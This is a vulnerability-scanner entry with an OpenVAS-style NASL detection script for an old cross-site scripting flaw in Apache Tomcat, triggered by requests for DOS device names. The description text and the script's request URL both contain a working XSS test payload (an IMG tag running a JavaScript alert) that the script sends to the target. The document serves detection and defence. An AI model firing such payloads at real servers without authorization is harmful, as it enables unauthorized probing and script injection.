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Apache Tomcat DOS Device Name XSS

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Matt MooreType 
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The remote Apache Tomcat web server is vulnerable to a cross site scripting issue by making requests for DOS Device names, causing Tomcat to throw an exception, allowing XSS attacks, and revealing the physical path of the Tomcat installation

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# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:apache:tomcat";

# Also covers BugtraqID: 5193 (same Advisory ID#: wp-02-0008)

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11042");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("Apache Tomcat DOS Device Name XSS");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2002 Matt Moore");
  script_family("Web application abuses");
  script_dependencies("gb_apache_tomcat_consolidation.nasl", "cross_site_scripting.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("apache/tomcat/http/detected");

  script_xref(name:"URL", value:"http://www.westpoint.ltd.uk/advisories/wp-02-0008.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5194");

  script_tag(name:"solution", value:"Upgrade to Apache Tomcat v4.1.3 beta or later.");

  script_tag(name:"summary", value:"The remote Apache Tomcat web server is vulnerable to a cross site scripting
  issue.");

  script_tag(name:"insight", value:"By making requests for DOS Device names it is possible to cause
  Tomcat to throw an exception, allowing XSS attacks, e.g:

  tomcat-server/COM2.IMG%20src='Javascript:alert(document.domain)'

  (angle brackets omitted)

  The exception also reveals the physical path of the Tomcat installation.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

host = http_host_name( dont_add_port:TRUE );
if( http_get_has_generic_xss( port:port, host:host ) ) exit( 0 );

url = "/COM2.<IMG%20SRC='JavaScript:alert(document.domain)'>";

req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( res  !~ "^HTTP/1\.[01] 200" ) exit( 0 );

confirmed = string( "JavaScript:alert(document.domain)" );
confirmed_too = string( "java.io.FileNotFoundException" );

if( ( confirmed >< res ) && ( confirmed_too >< res ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

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